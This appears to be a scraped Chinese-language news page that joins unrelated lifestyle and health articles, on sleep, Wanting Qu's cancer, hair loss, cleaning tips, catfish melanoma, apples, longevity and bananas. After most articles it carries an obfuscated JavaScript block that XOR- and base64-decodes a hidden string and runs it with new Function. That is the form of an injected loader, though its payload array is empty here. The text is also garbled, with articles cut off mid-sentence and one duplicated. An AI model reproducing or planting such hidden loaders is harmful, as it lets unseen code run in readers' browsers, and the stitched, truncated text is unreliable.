小时远离手机及电子产品、睡前8至10小时避免摄取咖啡因，并确保睡眠环境黑暗、安静和凉爽。同时，日间进行规律运动、睡前避免吃大餐以防胃部不适，均对睡眠大有帮助。此外，吸烟和饮酒亦会严重破坏睡眠周期，建议在睡前1至2小时内避免接触酒精和尼古丁。最重要的是，入睡时放松心情，切勿强迫自己入睡。 高质睡眠对人体益处 增强免疫力、减少生病频率 睡眠医学研究指出，充足且高质素的睡眠是维持身体机能的基石。足够的睡眠能显著增强免疫力、减少生病频率，并有助维持健康体重、纾缓压力、改善情绪、促进心脏健康和新陈代谢。此外，它还能有效降低患上二型糖尿病、心脏病、中风及高血压等慢性疾病的风险，并在日间提升记忆力与专注力。要达到上述的健康益处，关键在于获得“高质素”的睡眠。如果出现以下情况，即使睡眠时数足够，仍属于低质素睡眠：包括入睡困难、半夜频频醒来，或是睡了足够时间后醒来依然感到疲倦。这代表身体并未得到真正的休息。 资料来源：综合资料 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

【星岛综合报道】前温哥华市长、现任联邦住房及基础设施部长罗品信（Gregor Robertson）的前女友、歌手曲婉婷（Wanting Qu），自2014年因其母亲在中国涉嫌3.5亿人民币贪污受贿案后，演艺事业几乎陷入停顿。神隐多年的曲婉婷最近终于回归，推出新专辑《情书》。她近日在接受安省媒体《Fête Chinoise》专访时，首度自爆在2020年新冠疫情期间，经历了一场生死攸关的抗癌大战。 确诊乳癌情绪崩溃 现年42岁的曲婉婷在访问中透露，当时她大约35、36岁，无意间发现左侧乳房有肿块，经切片检查后确诊为乳癌。面对突如其来的噩耗，曲婉婷坦言当下无比震惊，脑海中不断盘旋著“为甚么是我？我该怎么活下去？”当时她的母亲因涉贪等罪，正被官司缠身，而不能相伴女儿抗癌。曲婉婷对此一度情绪崩溃并说：“那正是我最需要家人的时刻，我真的很想念我的家人。” 拒绝进行乳房重建 曲婉婷在访问中表示医生最初先为她切除肿瘤，但后续检查却发现，左边约70%的乳房组织已存在癌细胞，因此建议她进行全乳切除与重建手术。不过，曲婉婷拒绝进行乳房重建，她担心植入外来物会引发排斥反应，甚至导致其他类型的癌症。 她表示：“我不想从我身上拿走有毒的东西后，又放了一个有毒的东西进去。” 最终她选择勇敢接受失去左侧乳房的自己，但表示做决定前曾陷入天人交战，因此写下歌曲〈9 More Days〉，象征自己倒数9天迎接手术。 曾经凭〈我的歌声里〉走红的曲婉婷日前在IG贴上多张相片，其中包括在医院的相片，她还说：“我沉默了许久，一直在等待适当的时机来分享我的故事。今天，我决定敞开心扉──希望能以此帮助到有需要的人。祝大家拥有美好的一天。” 康复速度比预期快 曲婉婷从2014年她在家乡哈尔滨举办了万人演唱会说起，当时正处于事业的最高峰，母亲亦有到场支持，但演唱会后仅两个月，她的母亲因案被捕，至今仍在狱中。 曲婉婷的人生急转直下：“多年的舆论、谎言、不公、霸凌、死亡威胁、失去朋友、失去音乐机会，我从事业的最高点，去到一个我想像不到的黑暗地方。” 在身心俱疲的状态下，命运给了她更沉重的打击。2020年4月，曲婉婷被诊断出患有侵袭性乳癌，她形容当时“感觉灵魂在淍谢”，必须立即切除肿瘤。为了保命，她选择了健康而非外表，毅然接受了单边乳房切除手术。手术前，她为自己的乳房写下告别情书《One More Day》，并在术后剪去长发，象征自己的重生与抗癌的决心。 公开与男友甜蜜合照 手术后，曲婉婷的身体康复速度比预期快。她相信，转向以植物为主的饮食在康复过程中发挥了重要作用。这段经历令她对营养学产生浓厚兴趣，并取得了康奈尔大学的植物性营养学证书。 战胜病魔让她对生命有了新的感悟，除了开始关注动物权益，更大方公开与男友River的甜蜜合照，并透露新歌〈River〉就是为对方而写。 2015年2月，曲婉婷与时任温哥华市长罗品信（下图左）拍拖消息被传媒曝光，之后两人公开承认恋情，当时罗品信正与妻子分居但未离婚。 曲婉婷与罗品信于2017年5月分手。 母涉巨额贪污被判无期徒刑 曲婉婷公开罹癌经历后，网民反应两极，因其母亲张明杰曾任哈尔滨市发改委副主任，当时涉受贿及滥用职权，涉贪金额高达3.5亿人民币，涉受贿及滥用职权，导致无数家庭陷入绝境，张明杰一度被要求判死刑，在2021年一审被判无期徒刑，翌年二审维持原判。 曲婉婷自此长期定居加拿大，不时在社交平台上为母亲“喊冤”并表达思念，结果引发中国网民强烈不满与愤怒，甚至有人直斥她“食人血馒头”，指她的海外留学与奢华生活的费用皆来自母亲贪污所得，所以部分网民对曲婉婷自爆患癌不表同情，甚至恶言诅咒；但也有网民认为“妈妈的问题，跟孩子无关”。

不少都市人都面临不同程度的“头发危机”，每当洗头、吹头或梳头时，看着地上一丝丝掉落的头发，总会感到莫名焦虑。营养功能医学专家刘博仁医生在社交平台专页分享，早前有一位40多岁的女士神色慌张地来到诊症室，一坐下并非询问睡眠或体重问题，而是着急地表示自己最近掉发情况非常严重，担心自己快要变秃头。真正决定头发健康的而是身体营养、荷尔蒙以及健康状况。 中年女士脱发真正原因 维他命D严重不足 经过详细的身体检查后，这位女士狂掉头发的真正原因终于水落石出。报告显示她的铁蛋白（Ferritin）水平偏低，体内的维他命D亦严重不足，再加上她最近工作压力特别大，睡眠质素欠佳。刘医生借此提醒她，真正需要好好照顾的，其实不单单是头发，而是自己的身体。在临床医学上，最常见导致异常脱发的原因主要有5个。首先是缺铁，特别是月经量多的女性，极容易出现铁蛋白不足。其次是蛋白质摄取不足，因为头发的主要成分正是蛋白质。第三是体内缺乏锌、维他命B群或维他命D，这些营养素不足都会直接影响毛囊健康。第四是甲状腺功能异常，不论是功能亢进或减退，都有机会引致脱发。最后则是压力和失眠，长期处于高压状态会促使更多毛囊提早进入“休止期”，导致三、四个月后开始出现爆发性脱发。 如何分辨正常脱发 每天甩50至100条毋须过分担忧 有些人每天只要掉一点头发就会变得非常紧张。刘医生解释，其实人体每天掉落约50至100根头发，都属于正常的新陈代谢范畴，市民毋须过分忧虑。真正需要提高警觉的“危险讯号”，是原本发量非常浓密的人，最近突然出现异常明显的脱发；例如洗头时浴室排水口被头发塞满、梳头时一抓就是一大把，或者发现新生出来的头发愈来愈幼细、分界线的发缝变得愈来愈宽。当出现这些异常迹象时，就建议寻求专业医生作进一步检查，找出病因。 日常护发3大保养建议 多摄取优质蛋白质 针对日常的头发保养，刘医生给予了非常实用的饮食和生活建议。在饮食方面，市民应多摄取优质蛋白质，例如鱼类、鸡蛋、豆类及瘦肉等，为头发生长提供足够原料。同时亦应适量补充富含铁质的食物，如牛肉、蚬、生蠔等。多吃坚果、深绿色蔬菜以及全谷类食物，亦能有效补充维持毛囊健康所需的锌和维他命B群。除了均衡饮食，高质素的睡眠亦是护发关键，因为只有在晚上睡得好时，毛囊才有足够的时间进行自我修复。此外，维持适量运动、多晒太阳以及学会放松心情，都是不可或缺的护发良方。 刘博仁医生常跟患者强调，不要只顾著照顾头发，必须先照顾好长出头发的身体。头发其实是身体健康的一面镜子，当身体各项机能恢复平衡时，头发自然会慢慢找回它的生命力。因此，下次当大家发现自己不停掉头发时，不妨先静下来问问自己：最近是不是太累了？是不是睡得不好？还是身体营养不够了？因为有时候掉下来的并不单单是头发，而是身体正在向你发出的求救讯号。 资料来源：营养功能医学专家刘博仁医生 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

日日带保温杯，杯底积满千年茶渍好难洗？有品牌教清洗保温杯秘诀，只需用1款神物配合黄金水温浸泡，毋须死力擦拭，就能令保温杯瞬间洁净如新。 清洗保温杯可用1神物去渍 用1个水温清洗效果最好 据日媒《grapee》报道，每日使用同一个保温杯，久而久之杯内容易积聚啡色的茶渍。这些污垢会令原本闪亮的不锈钢内壁变得暗淡无光。茶渍主要是由茶叶和咖啡中的多酚所引起，但只要用对方法，绝对可以彻底清除。因此，保温杯品牌Thermos（膳魔师）指出，去除茶渍的最佳法宝是“氧系漂白剂”，并详细分享了正确的清洗步骤：   保温杯茶渍清洗方法 杯身内部去渍法 1.将温水和氧系漂白剂加入保温杯内，并彻底搅拌溶解。（比例参考：每500毫升温水加入3克氧系漂白剂） 2.加入漂白剂后，切勿盖上杯盖。 3.静置大约30分钟。 4.用软海绵或软毛刷轻轻去除污垢，最后用清水彻底冲洗干净，并完全晾干。 杯盖及配件去渍法 1.准备一个碗或其他容器，倒入温水及氧系漂白剂充分溶解（比例同为每500毫升温水配3克漂白剂）。 2.将配件放入水中浸泡约30分钟。 3.用软海绵或刷子去除污垢，用清水彻底冲洗后晾干。 Thermos特别指出，只需用软海绵或刷子去除污垢，冲洗干净，保温杯就能焕然一新。但必须使用温水，因为氧系漂白剂在约40°C的水温下发挥的除污功效最佳。因此，建议大家用温水浸泡，切忌贪方便使用冷水或滚水。 洗保温杯2大禁忌 随时破坏保温涂层 有些人为了贪快，会忍不住死力狂刷。然而，Thermos警告，清洗时千万别犯以下2个常见错误： 错误方法1：用百洁布或研磨海绵狂刷 许多人习惯用粗糙的百洁布或硬刷来对付顽固污渍，但清洗保温杯时请尽量避免。因为这些粗糙材质会轻易刮花保温杯内壁。 错误方法2：金属壶身用氯系漂白剂 有些人常将以次氯酸钠为主要成分的“氯系漂白剂”与“氧系漂白剂”混淆。虽然氯系漂白剂杀菌力极强，但对保温壶的金属材质来说过于刺激，极容易导致生锈或令保温效能下降。氯系漂白剂只适用于塑胶饮水口及防水胶圈。拆卸清洗时，务必为不同材质的配件选择适合的漂白剂。 茶渍置之不理恐惹细菌 Thermos揭最佳清洗频率 有些人可能觉得“看起来不算太污糟，彻底清洗太麻烦”就得过且过。Thermos表示，虽然茶渍暂时不会影响保冷或保温效能，但如果长期置之不理，茶渍会越积越厚，日后将更难清除。这不仅影响外观，更会引发卫生问题。定期清洁保温杯的习惯有助于防止茶渍积聚，最好每星期使用氧系漂白剂进行一次深层清洁，作为日常的保养步骤，以保持保温杯清洁。 资料来源：《grapee》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

【星岛综合报道】癌症肿瘤从一个个体传播至另一个个体极为罕见。不过，一项最新基因研究显示，魁北克及美国东北部部分鲶鱼身上的黑色素瘤，可能正在鱼群之间传播。 CBC报道，这项发表于《Nature》期刊的研究指出，这是目前已知首宗鱼类可传播癌症个案，也是自然界极少数已知的可传播癌症之一。 研究共同负责人、佛蒙特大学医学院微生物学及分子遗传学副教授Julie Dragon表示，目前全球只有另外3种可传播癌症获确认，分别出现在袋獾、狗及贝类动物身上。 她说：“这些情况在自然界极为罕见，因此一定有某些因素令这种情况得以发生。” 大型洪水后 鲶鱼出现皮肤癌 位于魁北克与佛蒙特州边境的Memphremagog湖，钓鱼人士早于2012年开始发现，一些棕头鲶鱼（brown bullhead catfish）身上出现奇怪的黑色斑点及肿块。 后来证实，这些黑色肿块是人类亦可能患上的黑色素瘤皮肤癌。 目前，湖中约三分之一的棕头鲶鱼身上出现相关肿瘤。 研究人员目前仍不清楚这种癌症对鱼类健康造成多大影响。部分个案中，癌细胞会扩散至脑部或肝脏等其他器官；但不少身上有病变的鲶鱼看起来仍相对健康，甚至有部分年长鲶鱼仍带有肿瘤，显示牠们可能能够与疾病共存一段时间。 由于黑色病变在Memphremagog湖突然出现，而且是在热带风暴Irene转化后引发的大型洪水翌年出现，当地居民一度担心，洪水可能将致癌物质冲入湖中，导致鱼类患癌。 然而，目前对致癌物的检测尚未得出明确结论。 今年5月发表的一项研究则发现，带有肿瘤的鲶鱼皮肤中，7种金属的浓度较高，其中包括锌及致癌物砷。 基因检测揭示意外结果 2014年，Dragon受佛蒙特州鱼类及野生动物部门委托，调查病毒是否可能是导致鱼类出现肿瘤的原因。 基因检测并未发现任何病毒。 Dragon之后提出另一种可能性：湖中的鲶鱼是否因近亲繁殖，出现令牠们更容易患癌的基因突变。 研究团队因此比较健康鱼、患病鱼及肿瘤组织的基因。 结果显示，这些鲶鱼并没有近亲繁殖问题，反而具有相当高的基因多样性。 但真正令人意外的是，研究人员发现，这些癌细胞彼此之间的相似程度，竟然高于癌细胞与其所在的宿主鱼。 Dragon表示，一般癌细胞是由宿主自身细胞突变而成，通常会与宿主具有较高相似性；但今次研究中的癌细胞却“彼此之间更为相似，而不是与它们所在的鱼只相似”。 研究团队因此开始怀疑，是否存在一种癌细胞能够从一条鱼转移至另一条鱼。 可能在繁殖期间传播 研究人员认为，肿瘤似乎很容易脱落细胞。Dragon形容，肿瘤“一碰就似乎会散开”。 由于相关肿瘤只出现在成年鱼身上，研究团队提出一种可能性：疾病或许在繁殖期间传播。 棕头鲶鱼繁殖时会聚集在一起，鱼只之间可能因互相碰撞而接触到彼此的身体。 Dragon表示，鱼只在繁殖期间可能互相穿梭、碰撞，甚至被鱼刺刺伤，而癌细胞或许因此进入另一条鱼的体内。 不过，截至目前，研究人员仍未能在实验室中实际证明肿瘤可以由一条鱼传播至另一条鱼，并计划稍后进行进一步测试。 因此，曾研究患病鲶鱼体内毒素含量的美国地质调查局退休科学家Vicki Blazer，对于将这种疾病称为“可传播癌症”仍持保留态度。 她指出，在尚未真正完成传播实验之前，将其称为可传播癌症，仍然存在疑问。 Blazer目前正检测患病鱼类是否含有PFAS等其他污染物，因为这些物质也可能令鱼类更容易患癌。 不过，曾参与贝类可传播癌症研究的哥伦比亚大学研究人员Stephen Goff则表示，基因证据“极具说服力”，他相信这些棕头鲶鱼确实感染了可传播癌症。 捕获身上有肿瘤的鲶鱼　应否食用？ 这项研究由美国及佛蒙特州政府机构资助，包括美国国立卫生研究院及大湖区渔业委员会；魁北克环境部亦提供支援，协助收集棕头鲶鱼进行检测。 魁北克环境厅建议民众不要食用身上带有肿瘤的鱼类，虽然目前没有证据显示这些肿瘤会对人类健康造成危害。 研究人员表示，佛蒙特州部分居民仍会食用这类鱼，而Dragon则认为食用应该是安全的。 除了Memphremagog湖外，魁北克的Magog湖，以及美国缅因州及新罕布什尔州部分湖泊，也曾发现身上有类似肿瘤的鲶鱼。 当局呼吁，在魁北克其他水域捕获到身上有黑色斑点或肿块的鲶鱼时，钓鱼人士可将照片电邮至魁北克环境厅，以协助追踪及了解这种罕见疾病的分布情况。 图：Vermont Fish & Wildlife

俗语有云：“一日一苹果，医生远离我。”苹果一直被视为健康食品的代表，加上进食方便，不少人喜欢把它当作早餐或健康零食。但常吃苹果可能反惹腹胀？有营养师指出，吃苹果有5个坏习惯可能易伤胃，其中可能连皮吃都中招。 营养师揭苹果5大吃法恐伤胃 连皮吃都中招 据日媒《Yoga Journal》报道，日本管理营养师なつめももこ表示，苹果富含果胶这种水溶性膳食纤维，能在肠道内吸收水分、软化粪便，并促进肠道蠕动。若连皮进食，更能摄取额外的膳食纤维，有助改善肠道健康。然而，尽管苹果营养丰富，但如果食用方式错误，随时会引起腹胀和肠胃不适。她盘点了以下5个吃苹果引致腹胀的常见坏习惯：  常吃苹果反惹腹胀？营养师揭5大伤胃吃法 连皮吃都中招！ 1.空腹一口气吃完一个苹果 苹果含有膳食纤维和糖分，空腹吃一个苹果容易引起腹胀和肠胃不适。为了减轻肠胃负担，建议将苹果与其他食物配搭进食，尽量避免空腹单独进食。 2.进食过量苹果 有些人认为苹果健康，可以放心多吃，但若一天狂吃2至3个苹果、每天单独吃一个特大苹果，或者一日分开多次进食，例如早餐、零食及饭后果都吃苹果，便要特别小心，摄取过量的膳食纤维和糖分会直接导致腹胀。任何食物即使再有益，过量进食都会对身体造成负担。建议调整食量，例如每天最多只吃一个中等大小的苹果。 3.吃一个冰冻苹果 苹果中的果糖在低温下会变得更甜，因此冷藏后的苹果口感更佳。但是，对于肠胃敏感的人士来说，进食冰冻的苹果后极易出现肚胀或消化不良等问题。若担心肠胃不适，建议将苹果放置至室温才进食，或者配搭热饮一同享用。 4.连皮吃苹果 虽然连皮食苹果可以摄取更多膳食纤维，进一步促进肠道健康，但同时亦会加重消化系统的负担。苹果皮这类植物纤维相对较难消化，极容易引起腹胀和肠胃不适。如果本身肠胃较弱或正感到胃部不适，建议将苹果削皮、磨成泥或煮软后才进食。 5.咀嚼不足便吞咽 吃苹果时如果不充分咀嚼，同样会导致腹胀。吃饭太快或咀嚼不足的人，会令苹果难以在胃部消化，大大加重肠胃负担。如果平时习惯因为赶时间而匆匆进食、喜欢边食边看手机，或者习惯将苹果切成大块进食，便要特别留意。建议将苹果切成小块，并有意识地细嚼慢咽。 资料来源：《Yoga Journal》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

夏天出汗多，衣服和毛巾极易发黄兼散发阵阵汗臭，放入洗衣机洗极都有噏味？有清洁专家教3大洗衫秘诀，用1个水温浸泡衣物30分钟，即可轻松溶解顽固汗渍与油脂，告别夏日衣服发臭烦恼。 专家教3大洗衣秘诀 洗前用这个水温浸泡30分钟轻松去污除臭 据日媒《ESSE online》报道，清洁专家濑野爱（せのお爱）指出，夏季人体汗水和油脂分泌旺盛，极容易在衣物上留下污渍，导致衣服发黄及产生异味。其实，只需掌握3个简单的洗衣秘诀，就能轻松搞定夏季衣物，彻底告别汗渍和油脂的困扰：   3大洗衣秘诀 秘诀1：用40至50度温水浸泡30分钟 若衣服已经出现异味和发黄，建议在机洗前多做一步。首先在洗手盆或水桶中倒入摄氏40至50度的温水，加入洗衣粉彻底溶解后，将衣物放入水中浸泡约30分钟，然后才放入洗衣机按正常程序清洗。 夏季气温较高，水温不像冬季般容易下降，这绝对有利于洗涤剂发挥更佳的深层清洁效果。她分享，家中经常使用这种方法来清洗毛巾、枕头套和孩子的运动服，实测发现这比直接扔进洗衣机清洗，更能有效去除顽固的黄渍和异味。 秘诀2：夏天宜转用洗衣粉 夏天洗衫时，选择合适的洗衣剂非常重要。一般来说，洗衣粉的清洁力较强，非常适合用于清洗夏季衣物，能有效对付夏天分泌的大量人体油脂。另一个好处是，由于夏天的自来水温往往较高，因此不必担心洗衣粉会无法溶解而残留在衣服上。 秘诀3：忌烈日暴晒 夏天虽然气温高、衣服晾干得快，但许多人忽略了，长时间将衣服暴露在强烈的阳光直射下，会严重损伤衣物布料并导致褪色。对于大家最喜欢的T恤及深色衣物，最好将它们晾晒在阴凉通风处，例如屋簷下或露台阴凉处，或者考虑直接在室内晾干。若必须在户外晾晒，最好避免长时间曝晒，衣物一干便应尽快收进室内，以尽量减少强烈紫外线对衣物造成的伤害。 资料来源：《ESSE online》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

追求健康长寿是现代人的终极目标，如何做到“长命百二岁”？巴西三名年逾百岁的亲姊妹，本月正式荣获健力士世界纪录（Guinness World Records）认证，成为目前全球在世最年长的亲姊妹。三人年龄合计高达316岁。医学专家指出，虽然先天的“长寿基因”确实存在，但大众毋须因没有这份“幸运基因”而气馁。 巴西姊妹花健康活过百岁秘诀 居于巴西里约热内卢的长寿姊妹，3位分别是109岁的大家姐列维塔（Levita de Deus Nunes）、104岁二妹佐雷德（Zoraide de Deus Mota）以及103岁的三妹朱琳娜（Zulina de Deus Nunes）。她们的真实年龄由追踪国际超级人瑞的权威组织“长寿探索”（Longeviquest）严格验证。 大家姐曾从事手工艺工作，亦曾在电视台任职；二妹则担任护士，育有5名子女；三妹则是全职母亲，独力养育6个孩子。她们不论在职场还是家庭，始终保持身体的动态与心灵的生活目标。大家姐表示自己度过了很好的童年和青春期，完全没有遗憾。 科学界展开研究 助打破先天基因限制 这项罕见长寿纪录吸引巴西圣保罗大学基因学专家札兹（Mayana Zatz）关注，并将其纳入“长寿基因计划”（DNA Longevo Project）。研究团队特意派出研究人员登门拜访这三姊妹，除了访谈她们的生活习惯，亦采集了她们的血液及DNA样本，希望借由分析遗传资讯，寻找人体内的“保护性基因”。 参与研究的吉列尔梅（Joao Paulo Guilherme）表示，团队计划蒐集并分析500名百岁人瑞的DNA样本，透过比较90多岁与百岁人瑞，以及已出现衰弱、认知功能退化或慢性疾病患者之间的基因差异，找出哪些基因能有助保护心脏、肌肉与脑部功能，从而延缓老化。LongeviQuest 行政总裁迈耶斯（Ben Meyers）亦指出，这三姊妹能共同活到这个年纪，除了强烈的遗传因素外，她们至今彼此依然住得很近、互相关照，这种紧密的家庭与社会支持网，同样是不可或缺的长寿关键。 巴西3姊妹共316岁医生揭“长寿秘笈”3招回归生活智慧：同亲人住得近都有益！ 追求健康长寿是现代人的终极目标，如何做到“长命百二岁”？巴西三名年逾百岁的亲姊妹，本月正式荣获健力士世界纪录（Guinness World Records）认证，成为目前全球在世最年长的亲姊妹。三人年龄合计高达316岁。医学专家指出，虽然先天的“长寿基因”确实存在，但大众毋须因没有这份“幸运基因”而气馁。 巴西姊妹花健康活过百岁秘诀 居于巴西里约热内卢的长寿姊妹，3位分别是109岁的大家姐列维塔（Levita de Deus Nunes）、104岁二妹佐雷德（Zoraide...

厨房油烟大，厨柜极易积聚厚厚的千年油渍，不仅难清洁，更随时暗藏细菌影响卫生！想彻底除油污，有专家教2招超简单清洁秘诀，轻松告别油腻黐手的厨柜。 专家教2招厨柜超简单去油法 告别油腻黐手焕然一新 据《Good Housekeeping》报道，居家护理与清洁实验室的专家指出，要清除厨房柜门的千年油污，使用洗洁精加水通常是安全的选择，市面上亦有不少强力去油的多用途清洁剂可供使用。不过，必须确保所用的清洁产品不会损坏厨柜的表面涂层。切忌使用含有白醋或氨水的清洁剂，否则会令木材失去光泽，甚至造成破坏；同时亦应避免使用任何具研磨成分的清洁剂，以免在表面留下刮痕。专家特别为大家整理出厨柜的最佳清洁频率，以及日常与深层去油的方法： 1.厨柜应该多久清洁一次？ 日常：尽快用湿抹布擦拭溅出的液体和油渍。建议边煮饭边清洁，这有助大大减少日后需要深层清洁的次数。 每周：为保持厨房整洁，建议每周使用厨柜清洁剂及超细纤维抹布，快速擦拭厨柜外侧一次。 每年一至两次：必须彻底清空厨柜，进行深层大扫除。除了内外清洁，更要特别留意容易暗藏污垢的凹槽和装饰条。 2.如何定期清洁厨柜？ 专家指出，无论家中的厨柜是实木、纤维板还是涂漆木材，以下简单清洁步骤，就能让厨房回复干净明亮： 1.将安全且去油效果佳的多用途清洁剂，或将洗洁精与水混合，涂抹在抹布上。请确保抹布保持微湿状态，切忌过湿。 2.仔细擦拭厨柜门的正反两面，并特别留意柜门旋钮和抽屉把手，因为这些位置最容易沾满油腻的指纹。 3.若面对炉头上方厨柜的顽固油渍，可用抹布包裹一块柔软的百洁布进行轻力擦拭。 4.用湿布再次擦拭厨柜门，直至表面没有任何肥皂或清洁剂残留为止。 5.最后用超细纤维抹布将表面彻底抹干，若有使用木质保养霜，涂抹后亦需抹干，并请先细阅产品标签上的使用说明。 3.如何深层清洁厨柜？ 除了定期擦拭柜门和把手，绝对不能忽略厨柜和抽屉的内部，因为这些隐蔽位置极易积聚食物碎屑、灰尘和污渍。专家建议每年必须进行一至两次深层清洁： 1.从最上层的厨柜开始，向下逐一清空厨柜和抽屉。可逐个清空或一次过清空几个，但切忌一次过全部清空。 2.将温水混合温和的多用途清洁剂或洗洁精，浸湿超细纤维抹布后，仔细擦拭厨柜内部，包括所有隔板及柜门背面。 3.若家中使用玻璃门厨柜，请用超细纤维抹布配合经过验证的玻璃清洁剂擦拭。 4.别忘记清洁所有五金配件、罅隙或装饰边，这些都是积聚灰尘和油脂的重灾区。若抹布无法触及细小的罅隙，可用小刷子或旧牙刷轻轻刷洗。 5.用清水抹净后，务必用超细纤维抹布彻底擦干。 资料来源：《Good Housekeeping》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

每当我们剥开香蕉时，总会看到果肉表面附着一条条长长的白丝，对于一些讲求完美或有“强迫症”的市民来说，肯定会感到非常碍眼，甚至非要把它们一根一根全部剥掉不可。那么，香蕉里面这种看似恼人的白丝究竟是什么组织？它对香蕉的生长又有着什么不可或缺的作用？如果我们连同白丝一起进食，对身体是好是坏？ 香蕉白丝“韧皮束”负责输送水分 在生物学上，这种白丝有一个正式学名叫做“韧皮束”（Phloem bundles）。如果市民大众觉得这个词语听起来有些耳熟，那很可能是因为大家当年在中学的生物课上都曾学习过。 当时老师教过大家有关植物的“韧皮部”和“木质部”结构。这两种细胞组织在植物体内扮演着极其重要的角色，其主要功能是负责输送水分、矿物质以及各类营养物质，以供植物的其他器官和组织生长使用。 因此在实际上，这些白丝在香蕉的生长发育过程中，正是肩负着源源不绝输送养分的重任；正因为有它们默默耕耘，最终才能孕育出美味饱满的香蕉果肉。尽管很多人在进食时讨厌这层香蕉白丝，但它们绝对是香蕉生长过程中不可或缺的存在。 白丝有一个正式学名叫做“韧皮束”（Phloem bundles）。 解构香蕉白丝营养价值 一、 白丝与香蕉果肉的营养是否有分别？ 针对大众对香蕉白丝的种种疑惑，国际著名营养学家 Nicholas D. Gillitt 博士此前进行了详细的科学解答：由于韧皮束有着特殊的输送功能，它们主要是由不同类型的膳食纤维以及独特的管道结构所组成，因此它们所含的营养成分与香蕉的其他果肉部分相比，确实存在着些微差异。然而，相对于整条香蕉的体积而言，韧皮束的分量相当稀少。因此，除非市民刻意单独收集并进食大量的香蕉白丝，否则在正常情况下，它们并不会影响香蕉整体的营养状况。 二、 连同白丝一起进食安全吗？对身体有益吗？ 答案是当然安全的。韧皮束本身就是香蕉自然结构的一部分，现时没有任何科学证据表明它们对人体有害。一般而言，水果的各个天然部分都是健康的，而由韧皮纤维组成的韧皮束，对人体肠道而言亦是优质的膳食纤维来源，同样对健康有益。 三、 未来有可能培育出没有白丝的香蕉吗？ 从现代农业基因技术的角度来看，这在理论上是完全有可能实现的。如果韧皮束仅仅是香蕉生长发育阶段的一个必要条件，而在成熟后对果肉并无实质影响，那么透过技术手段去掉它们应该不会带来太大的问题。 然而，Gillitt 